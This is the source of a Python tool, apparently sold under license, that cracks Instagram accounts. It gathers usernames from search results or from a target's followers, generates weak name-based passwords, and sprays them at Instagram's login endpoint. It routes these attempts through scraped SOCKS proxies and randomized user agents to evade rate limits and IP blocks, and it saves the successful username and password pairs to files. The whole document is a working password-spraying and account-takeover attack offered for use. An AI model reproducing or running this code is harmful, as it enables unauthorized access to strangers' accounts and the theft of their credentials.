-
Notifications
You must be signed in to change notification settings - Fork 1
/
GOPAL.html
729 lines (669 loc) · 29.6 KB
/
GOPAL.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
#coding:utf-8
#/usr/bin/python
try:
import json
import uuid
import hmac
import random
import hashlib
import urllib
import stdiomask
import urllib.request
import calendar
except ImportError as e:
exit(f'\n [\033[1;35m>\033[0m] module {e} belum terinstall')
import requests,bs4,json,os,sys,random,datetime,time,re,subprocess
try:
import rich
except ImportError:
os.system('pip install rich')
time.sleep(1)
try:
import rich
except ImportError:
exit('Tidak Dapat Menginstall Module rich, Coba Install Manual (pip install rich)')
from rich.table import Table as me
from rich.console import Console as sol
from bs4 import BeautifulSoup as sop
from concurrent.futures import ThreadPoolExecutor as tred
from rich.console import Group as gp
from rich.panel import Panel as nel
from rich import print as cetak
from rich.markdown import Markdown as mark
from rich.columns import Columns as col
from time import sleep
from concurrent.futures import ThreadPoolExecutor
from datetime import datetime
from bs4 import BeautifulSoup as parser
import time
from time import sleep as jeda
day=datetime.now().strftime("%d-%b-%Y")
nyMnD = 5
nyMxD = 10
current_GMT = time.gmtime(time.time())
insta_log='https://www.instagram.com/accounts/login/?force_classic_login=&'
url='https://www.instagram.com'
menudump=[]
try:
os.mkdir('result')
except:
pass
try:
prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
open('.prox.txt','w').write(prox)
except Exception as e:
print('GAGAL')
prox=open('.prox.txt','r').read().splitlines()
try:
os.system('curl https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt -o socks5.txt')
except:
pass
sock=open('socks5.txt','r').read().splitlines()
CY='\033[96;1m'
MG='\033[1;35m' #MAGENTA
H='\033[1;32m' #HIJAU
M='\033[1;31m' #MERAH
K='\033[1;33m' #KUNING
B = '\33[1;96m' # BIRU -
U='\033[1;35m' #UNGU
O='\033[38;2;255;127;0;1m' #ORANGE
C='\033[0m' #CLEAR
N = '\x1b[0m' # WARNA MATI
P = '\x1b[1;97m'
M = '\x1b[1;91m'
H = '\x1b[1;92m'
K = '\x1b[1;93m'
B = '\x1b[1;94m'
U = '\x1b[1;95m'
O = '\x1b[1;96m'
N = '\x1b[0m'
Z = "\033[1;30m"
sir = '\033[41m\x1b[1;97m'
x = '\33[m' # DEFAULT
m = '\x1b[1;91m' #RED +
k = '\033[93m' # KUNING +
h = '\x1b[1;92m' # HIJAU +
hh = '\033[32m' # HIJAU -
u = '\033[95m' # UNGU
kk = '\033[33m' # KUNING -
b = '\33[1;96m' # BIRU -
p = '\x1b[0;34m' # BIRU +
BN = '\x1b[1;107m' # BELAKANG PUTIH
USN="Mozilla/5.0 (Linux; Android 7.0; SM-G930F Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/65.0.3325.109 Mobile Safari/537.36 Instagram 37.0.0.21.97 Android (24/7.0; 480dpi; 1920x1080; samsung; SM-G930F; herolte; samsungexynos8890; ru_UA; 98288242)"
# USN="Mozilla/5.0 (Windows NT 6.1; WOW64) 6; ASUS_1006D Build/RKQ1.201022.002C677C) AppleWebKit/537.36 (KHTML, seperti Gecko) Chrome/55.0.2883.87 Safari/537.36 Sleipnir/6.2.386.0.4500.106 Mobile Safari/537.36 Sleipnir/3.5.28"
internal,external,success,checkpoint,loop,following,lisensikuni,lisensiku=[],[],[],[],0,[],[],['sukses']
s=requests.Session()
# CLEAR
def clear():
os.system('clear')
# BANNER
def banner():
clear()
wel = '# SELAMAT DATANG DI TOLLS CRAK IG'
wel2 = mark(wel, style='green')
sol().print(wel2)
#------------------[ LOGO-LAKNAT ]-----------------#
def banner():
print(f'''\t {H}
___ _________________
\t | |/ _____/\_ ___ \
\t | / \ ___/ \ \/
\t | \ \_\ \ \____ [bold cyan]InstagramCrack[white]
\t |___|\______ /\______ / Author [bold cyan]ILHAM XD[white""" ,
(+) SM TZY GOPAL WIBU ''')
def kontol():
os.system("clear")
print(f"""
___ ___ _ _____ _____ _____ ___ _____ _____ _____ _ _ ___ _____ _____ ___
( _`\ ( _`\ ( ) ( _ )/'\_/`\( _ )(_ _) ( _`\ ( _ )(_ _)( _ )( ) ( )( _`\ (_ _)( _ )( _`\
| (_(_)| (_(_)| | | (_) || || (_) | | | | | ) || (_) | | | | (_) || `\| || ( (_) | | | ( ) || | ) |
`\__ \ | _)_ | | _ | _ || (_) || _ | | | | | | )| _ | | | | _ || , ` || |___ | | | | | || | | )
( )_) || (_( )| |_( )| | | || | | || | | | | | | |_) || | | | | | | | | || |`\ || (_, ) | | | (_) || |_) |
`\____)(____/'(____/'(_) (_)(_) (_)(_) (_) (_) (____/'(_) (_) (_) (_) (_)(_) (_)(____/' (_) (_____)(____/'
{P}[•]{B}----------------------------------------------------{P}[•]
{B} |
{P}[•] AUTHOR: MR. F XD.""")
try:
# python 2
urllib_quote_plus = urllib.quote
except:
# python 3
urllib_quote_plus = urllib.parse.quote_plus
def cekAPI(cookie):
user=open('.username','r').read()
try:
c=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),cookies={'cookie':cookie},headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
i=c.json()["data"]["user"]
nama=i["full_name"]
followers=i["edge_followed_by"]["count"]
following=i["edge_follow"]["count"]
external.append(f'{nama}|{followers}|{following}')
except (ValueError,KeyError):
wel='# Instagram Checkpoint'
wel2 = mark(wel, style='red')
sol().print(wel2)
time.sleep(4)
os.remove('.kukis.log')
os.remove('.username')
exit()
return external,user
def login_kamu():
if "sukses" in lisensiku:
try:
kuki=open('.kukis.log','r').read()
except FileNotFoundError:
banner()
io = '[1] Login Menggunakan Cookie'
oi = nel(io, style='green')
cetak(nel(oi, title='Pilih Login'))
loginpil=input(f"Piliha :{C} ")
if loginpil=='1':
wel = '# username tidak boleh salah harus bener dari nama akun tumbal karna kalo tidak akan penyebab kan mengumpulkan id 0'
wel2 = mark(wel, style='green')
sol().print(wel2)
us=input(f'{H}masukan nama akun ig:{C}')
cok=input(f'{H}Masukan Cookie :{C}')
kuki=open('.kukis.log','w').write(cok)
user=open('.username','w').write(us)
os.system('python run.py')
elif loginpil == '2':
login()
ex,user=cekAPI(kuki)
cookie={'cookie':kuki}
instagram(ex,user,cookie).menu()
else:
login()
def login():
global external
try:
wel = '# Gunakan username pasword yang sesuai'
wel2 = mark(wel, style='green')
sol().print(wel2)
us=input(f"{green}[ Masukan username: {C}")
pw=stdiomask.getpass(prompt=f'{CY}[•] Masukan password: {C}')
except KeyboardInterrupt:
wel = '# KeyboardInterrupt terdeteksi... keluar !'
wel2 = mark(wel, style='red')
sol().print(wel2)
exit()
x=instagramAPI(us,pw).loginAPI()
if x.get('status')=='success':
open('.username','a').write(us)
open('.kukis.log','a').write(x.get('cookie'))
cookie={'cookie':x.get('cookie')}
print(f'\n{H}>{C} Login sukses')
os.system('python run.py')
elif x.get('status')=='checkpoint':
wel = '# Login checkpoint'
wel2 = mark(wel, style='red')
sol().print(wel2)
login()
else:
wel = '# Username atau password yang anda masukan salah'
wel2 = mark(wel, style='red')
sol().print(wel2)
login()
class instagram:
def __init__(self,external,username,cookie):
self.ext=external
self.username=username
self.cookie=cookie
self.s=requests.Session()
def logo(self):
for i in external:
try:
nama=i.split('|')[0]
followers=i.split('|')[1]
following=i.split('|')[2]
except:
pass
banner()
welcome=f'''[{H}•{H}]Selamat Datang : {nama}
[{H}•{H}]LOGIN PADA : {day}'''
print(welcome)
io='[01] Crack Dari Pencarian nama\n[02] Crack Dari Pengikut\n[03] Crack dari Mengikuti\n[04] info harga/author\n[00] Exit'
oi = nel(io, style='green')
cetak(nel(oi, title='MENU'))
def BUG(self):
bug=f'AUTHOR:RIDWAN-XD\nUPDATE VERSI:0.3\nSTATUS:PREMIUM\nCONTAT:083862287464\nFACEBOK:https://www.facebook.com/profile.php?id=100079671734634\nHARGA:150K\nPERBULAN:75K'
bug1 = nel(bug, style='green')
cetak(nel(bug1, title='INFO HARGA'))
exit()
def Exit(self):
kel='# Apakah anda yakin ingin keluar ?'
kel1=mark(kel,style='red')
sol().print(kel1)
x=input(f'\n{CY}[•] Jawaban [y/t] : {C}')
if x in ('y','Y'):
os.remove('.kukis.log')
os.remove('.username')
os.system('python run.py')
elif x in ('t','T'):
os.system('python run.py')
else:
self.Exit()
def sixAPI(self,six_id):
url = "https://www.instagram.com/web/search/topsearch/?context=blended&query="+six_id+"&rank_token=0.3953592318270893&count=1"
x = requests.get(url)
x_jason = x.json()
uid = str( x_jason['users'][0].get("user").get("pk") )
return uid
def unfollowAPI(self,user_id,username_id,cookie):
uuid=generateUUID(True)
xx=self.s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).content
crf_token = re.findall('{"config":{"csrf_token":"(.*)","viewer"',str(xx))[0]
s.headers.update({'Connection': 'close',
'Accept': '*/*',
'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Cookie2': '$Version=1',
'Accept-Language': 'en-US',
'User-Agent': User_Agent()})
data = json.dumps({'_uuid': uuid,
'_uid': username_id,
'user_id': user_id,
'_csrftoken': crf_token})
self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
self.generateUUID(False),
urllib.request.quote(data))
return s.post('https://i.instagram.com/api/v1/friendships/destroy/%s/'%(user_id),self.payload,cookies=cookie).text
def searchAPI(self,cookie,nama):
try:
x=s.get('https://www.instagram.com/web/search/topsearch/?count=100000&context=blended&query=%s&rank_token=0.21663777590422106&include_reel=true'%(nama),cookies=cookie,headers={"user-agent":USN})
x_jason=json.loads(x.text)
for i in x_jason['users']:
user=i['user']
username=user['username']
fullname=user['full_name']
internal.append(f'{username}|{fullname}')
except requests.exceptions.ConnectionError:
exit(f'\n [{M}!{C}] Koneksi internet bermasalah')
return internal
def idAPI(self,cookie,id):
if 'sukses' in lisensiku:
try:
m=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(id),cookies=cookie,headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
m_jason=m.json()["data"]["user"]
idx=m_jason["id"]
except requests.exceptions.ConnectionError:
exit(f"\n{M}┣[!] Koneksi internet bermasalah{C}")
except Exception as e:
exit(f"\n{M} Username yang anda masukan tidak di temukan pastikan target bersifat publik{C}")
return idx
else:lisensi()
def infoAPI(self,cookie,api,id):
if 'sukses' in lisensiku:
try:
x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
x_jason=json.loads(x.text)
for i in x_jason['users']:
username = i["username"]
nama = i["full_name"]
internal.append(f'{username}|{nama}')
following.append(username)
if 'pengikut' in menudump:
maxid=x_jason['next_max_id']
for z in range (9999):
x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/followers/?count=100&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
x_jason=json.loads(x.text)
try:
for i in x_jason['users']:
username = i["username"]
nama = i["full_name"]
internal.append(f'{username}|{nama}')
following.append(username)
try:
maxid=x_jason['next_max_id']
except:
break
except:
if 'challenge' in x.text:
break
else:
continue
else:pass
except requests.exceptions.ConnectionError:
exit(f'\n{M}Koneksi internet bermasalah{C}')
except Exception as e:
print(f'\n{H} USER NAME TIDAK DI TEMUKAN{C}')
return internal
else:lisensi()
def passwordAPI(self,xnx):
pilpass='# PASWORD MANUAL'
pilpass1=mark(pilpass,style='green')
sol().print(pilpass1)
komb='[1] NAME+FULL'
komb1 = nel(komb, style='green')
cetak(nel(komb1))
c=input(f'{CY}pilih:{C} ')
if c=='2':
self.generateAPI(xnx,c)
elif c=='1':
self.generateAPI(xnx,c)
elif c=='3':
self.generateAPI(xnx,c)
elif c=='7':
self.generateAPI(xnx,c)
elif c=='4':
ui='# PASSWORD MANUAL'
uu=mark(ui,style='')
sol().print(uu)
print(f'{M} Contoh sayang,anjing,bangsat')
print('')
zx=input(f'{CY}[List password :{C} ')
self.generateAPI(xnx,c,zx)
else:
self.passwordAPI(xnx)
def generateAPI(self,user,o,zx=''):
with ThreadPoolExecutor(max_workers=15) as shinkai:
for i in user:
try:
username=i.split("|")[0]
password=i.split("|")[1].lower()
for w in password.split(" "):
if len(w)<3:
continue
else:
w=w.lower()
if o=="1":
if len(w)==3 or len(w)==4 or len(w)==5:
sandi=[w+'123',w+'1234']
else:
sandi=[w]
elif o=="2":
if len(w)==3 or len(w)==4 or len(w)==5:
sandi=[w+'123',w,w+'1234',w+'12345']
else:
sandi=[w+'123',w,w+'1234',w+'12345']
elif o=="3":
if len(w)==3 or len(w)==4 or len(w)==5:
sandi=[w+'123',w,password.lower()]
else:
sandi=[w+'123',w,password.lower()]
elif o=="7":
if len(w)==3 or len(w)==4 or len(w)==5:
sandi=[w+'123',w+'1234',w+'12345',w]
else:
sandi=[w+'123',w+'1234',w+'12345',password.lower()]
elif o=="4":
if len(zx) > 3:
sandi = zx.replace(" ", "").split(",")
else:
break
shinkai.submit(self.crackAPI,username,sandi)
except:
pass
print('\n')
oi='# CRACK SELESAI'
io=mark(oi,style='yellow')
sol().print(io)
exit()
def APIinfo(self,user):
try:
x=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
x_jason=x.json()["data"]["user"]
nama=x_jason["full_name"]
pengikut=x_jason["edge_followed_by"]["count"]
mengikut=x_jason["edge_follow"]["count"]
postingan=x_jason["edge_owner_to_timeline_media"]["count"]
except:
pass
return nama,pengikut,mengikut,postingan
def crackAPI(self,user,pas):
global loop,success,checkpoint
sys.stdout.write(f"\r{H}[{H}{loop}/{len(internal)}{C}] {U}[ SUCESES: {len(success)}]{C} {M}[ CHEKPOINT : {len(checkpoint)}]{C} "),sys.stdout.flush()
try:
for pw in pas:
ts = calendar.timegm(current_GMT)
nip=random.choice(sock)
proxs= {'http': 'socks4://'+nip}
aa='Mozilla/5.0 (Linux; U; Android 6.0.1;'
b=random.choice(['4','5','6','7','8','9','10','11','12'])
c='en-us; 605HW Build/HuaweiMediaPad)'
d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
e=random.randrange(1, 999)
f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62'
h=random.randrange(73,100)
i='0'
j=random.randrange(4200,4900)
k=random.randrange(40,150)
l='Mobile Safari/537.36 PHX/8.2'
uaku=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
token=s.get('https://www.instagram.com/accounts/login/?next=/accounts/logout/')
headers = {
'Host': 'www.instagram.com',
'x-ig-www-claim': '0',
'x-instagram-ajax': '1005633336-hot',
'content-type': 'application/x-www-form-urlencoded',
'accept': '*/*',
'x-requested-with': 'XMLHttpRequest',
'x-asbd-id': '198387',
'user-agent': uaku,
'x-csrftoken': token.cookies['csrftoken'],
'x-ig-app-id': '1217981644879628',
'origin': 'https://www.instagram.com',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'cors',
'sec-fetch-dest': 'empty',
'referer': 'https://www.instagram.com/accounts/login/?next=/accounts/logout/',
'accept-encoding': 'gzip, deflate',
'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'
}
# "enc_password": "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(random.randint(1000000000, 99999999999),pw),
param={
"enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{ts}:{pw}",
"username": user,
"queryParams": "{}",
"optIntoOneTap": 'false',
"stopDeletionNonce": "",
"trustedDeviceRecords": "{}"}
x=s.post("https://www.instagram.com/accounts/login/ajax/",headers=headers,data=param,proxies=proxs)
x_jason=json.loads(x.text)
if "userId" in str(x_jason):
nama,pengikut,mengikut,postingan=self.APIinfo(user)
print(f"\r{P}╭──{H} Success{C} ")
print(f"{P}├──{P} Nama : {H}{nama}\n{P}├──{P} Username : {H}{user}\n{P}├──{P} Password : {H}{pw}\n{P}├──{P} Pengikut : {H}{pengikut}\n{P}├──{P} Mengikuti: {H}{mengikut}\n{P}├──{P} Postingan: {H}{postingan}\n{P}╰──{P} User Agent : {H}{uaku}{C}")
print('\n')
open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
success.append(user)
break
elif 'checkpoint_url' in str(x_jason):
nama,pengikut,mengikut,postingan=self.APIinfo(user)
print(f"\r{P}╭──{K} Check Point{C} ")
print(f"{P}├──{P} Nama : {K}{nama}\n{P}├──{P} Username : {K}{user}\n{P}├──{P} Password : {K}{pw}\n{P}├──{P} Pengikut : {K}{pengikut}\n{P}├──{P} Mengikuti: {K}{mengikut}\n{P}╰──{P} Postingan: {K}{postingan}{C}")
print('\n')
open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
checkpoint.append(user)
break
elif 'Please wait a few minutes' in str(x.text):
sys.stdout.write(f"\r[{U}!{C}] {U}IP KENA SPAM TUNGGU BEBERAPA MENIT{C}");sys.stdout.flush();sleep(0)
# self.crackAPI(user,pas)
elif 'ip_block' in str(x.text):
sys.stdout.write(f"\r[{U}!{C}] {U}IP DI BLOKIR ON OFF MODE PESAWAT{C}");sys.stdout.flush();sleep(0)
self.crackAPI(user,pas)
elif 'spam' in str(x.text):
sys.stdout.write(f"\r[{U}!{C}] {U}TERDETEKSI SPAM ON OFF MODE PESAWAT{C}");sys.stdout.flush();sleep(0)
# self.crackAPI(user,pas)
else:
continue
loop+=1
except:
self.crackAPI(user,pas)
# PERANG KE DUA
def checkAPI(self,user,pw):
try:
token=s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).content
crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
s.headers.update({
'authority': 'www.instagram.com',
'x-ig-www-claim': 'hmac.AR3CH3q3WF_EHwNgjQj_uhjG15AF1ckFwoqU4QVfeHdOiBCT',
'x-instagram-ajax': '82a581bb9399',
'content-type': 'application/x-www-form-urlencoded',
'accept': '*/*',
'user-agent': user_agent(),
'x-requested-with': 'XMLHttpRequest',
'x-csrftoken': crf_token,
'x-ig-app-id': '936619743392459',
'origin': 'https://www.instagram.com',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'cors',
'sec-fetch-dest': 'empty',
'referer': 'https://www.instagram.com/',
'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8'
})
param={
"username": user,
"enc_password": "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(random.randint(1000000000, 99999999999),pw),
"optIntoOneTap": False,
"queryParams": {},
"stopDeletionNonce": "",
"trustedDeviceRecords": {}
}
x=s.post("https://www.instagram.com/accounts/login/ajax/",data=param);sleep(1)
x_jason=json.loads(x.text)
if "userId" in x.text:
nama,pengikut,mengikut,postingan=self.APIinfo(user)
print(f"\r{P}╭──{H} Success{C} ")
print(f"{P}├──{P} Nama : {H}{nama}\n{P}├──{P} Username : {H}{user}\n{P}├──{P} Password : {H}{pw}\n{P}├──{P} Pengikut : {H}{pengikut}\n{P}├──{P} Mengikuti: {H}{mengikut}\n{P}├──{P} Postingan: {H}{postingan}\n{P}╰──{P} User Agent : {H}{uaku}{C}")
print('\n')
elif 'checkpoint_url' in x.text:
nama,pengikut,mengikut,postingan=self.APIinfo(user)
print(f"\r{P}╭──{K} Check Point{C} ")
print(f"{P}├──{P} Nama : {K}{nama}\n{P}├──{P} Username : {K}{user}\n{P}├──{P} Password : {K}{pw}\n{P}├──{P} Pengikut : {K}{pengikut}\n{P}├──{P} Mengikuti: {K}{mengikut}\n{P}╰──{P} Postingan: {K}{postingan}{C}")
print('\n')
elif 'Please wait a few minutes' in str(x.text):
sys.stdout.write(f"\r [{U}!{C}] {U}Please wait a few minutes second{C}");sys.stdout.flush();sleep(10)
self.checkAPI(user,pw)
except:
self.checkAPI(user,pw)
def menu(self):
self.logo()
c=input(f' {H}[PILIH] :{C} ')
if c=='':
self.menu()
elif c in ('1','01'):
mas='# mau berapa targat njing? '
mas1=mark(mas,style='green')
sol().print(mas1)
m=int(input(f'\n{H}Jumlah : {C}'));print('')
mas='# Masukan nama ranfom untuk di searching'
mas1=mark(mas,style='green')
sol().print(mas1)
for i in range(m):
i+1
nama=input(f'{CY}Masukan jumblah target ({H}{len(internal)}{C}): ')
name=self.searchAPI(self.cookie,nama)
self.passwordAPI(name)
elif c in ('2','02'):
mas=input(' enter untuk melanjutkan ')
if mas in ['t','T']:
masal(self)
elif mas in ['','']:
massal(self)
elif mas in ['h','h']:
print('ISI JANGAN KOSONG')
elif c in ('3','03'):
mas=input('ingin crack masal? y/n? ')
if mas in ['y','Y']:
mengi(self)
elif mas in ['n','N']:
meng(self)
elif mas in ['']:
print('Y ATAU T GOBLOK3eeee')
elif c in ('28','28'):
print('')
for i in os.listdir('result'):
print(f' [{U}>{C}] {i}')
c=input(f'\n {CY}┣>>> Masukan nama file: {C}')
g=open("result/%s"%(c)).read().splitlines()
print(f'\n{CY}+Total Result MASTER_FU{H}{len(g)}{C}')
print(f'\n{CY}!Proses mengecek status akun. silahkan tunggu sebentar{C}\n')
for s in g:
usr=s.split("|")[0]
pwd=s.split("|")[1]
self.checkAPI(usr,pwd)
exit(f'\n\n{K}┣[#] proses check selesai...{C}')
elif c in ('04','4'):
self.BUG()
elif c in ('00','0'):
self.Exit()
else:
self.menu()
def tlisensi():
banner()
wel='# LICENSE GAGAL'
wel2 = mark(wel, style='red')
sol().print(wel2)
time.sleep(2)
lisen=input(' masukan License : ')
open('.lisen.txt','w').write(lisen)
lisensi()
def lisensi():
try:
cek=open('.lisen.txt').read()
lisensikuni.append(cek)
except:
tlisensi()
ses=requests.Session()
res=ses.get('https://app.cryptolens.io/api/key/Activate?token=WyIyMTc4MDQwNyIsIjIrMDhDNFJyNktQUi8rT2VCTW03NnRYZzVxZkdNRXpwSVNKak9EVFYiXQ==&ProductId=15826&Key='+lisensikuni[0]).json()
status=res['licenseKey']['key']
if status ==cek:
banner()
wel='# LICENSE BERHASIL'
wel2 = mark(wel, style='green')
sol().print(wel2)
time.sleep(2)
lisensiku.append("sukses")
login_kamu()
else:
tlisensi()
def mengi(self):
try:
menudump.append('pengikut')
mas='# Target harus bersifat publik jangan privat'
mas1=mark(mas,style='red')
sol().print(mas1)
m=int(input(f'\n{H}[?{H}] Mau berapa target njing: {N}'))
except:m=1
for t in range(m):
t +=1
nama=input(f' [{t}] Masukan Username : ')
id=self.idAPI(self.cookie,nama)
info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
self.passwordAPI(info)
def meng(self):
mas='# Target harus bersifat publik jangan privat'
mas1=mark(mas,style='red')
sol().print(mas1)
m=input(f'{CY} name target : {C}')
id=self.idAPI(self.cookie,m)
info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
self.passwordAPI(info)
def masal(self):
try:
menudump.append('pengikut')
mas='# Target harus bersifat publik jangan privat'
mas1=mark(mas,style='red')
sol().print(mas1)
m=int(input(f'\n{R}[?{R}] mau berapa tar: {N}'))
except:m=1
for t in range(m):
t +=1
so=f'# BERHASIL TERKUMPUL:{len(internal)}'
pi=mark(so,style='green')
sol().print(pi)
nama=input(f' [{t}] Masukan Username : ')
id=self.idAPI(self.cookie,nama)
info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
self.passwordAPI(info)
def massal(self):
menudump.append('pengikut')
m=input(f'{CY}name target : {C}')
id=self.idAPI(self.cookie,m)
info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
self.passwordAPI(info)
if __name__=='__main__':
try:
login_kamu()
except requests.exceptions.ConnectionError:
exit(f'\n [{M}!{C}] Koneksi internet bermasalah')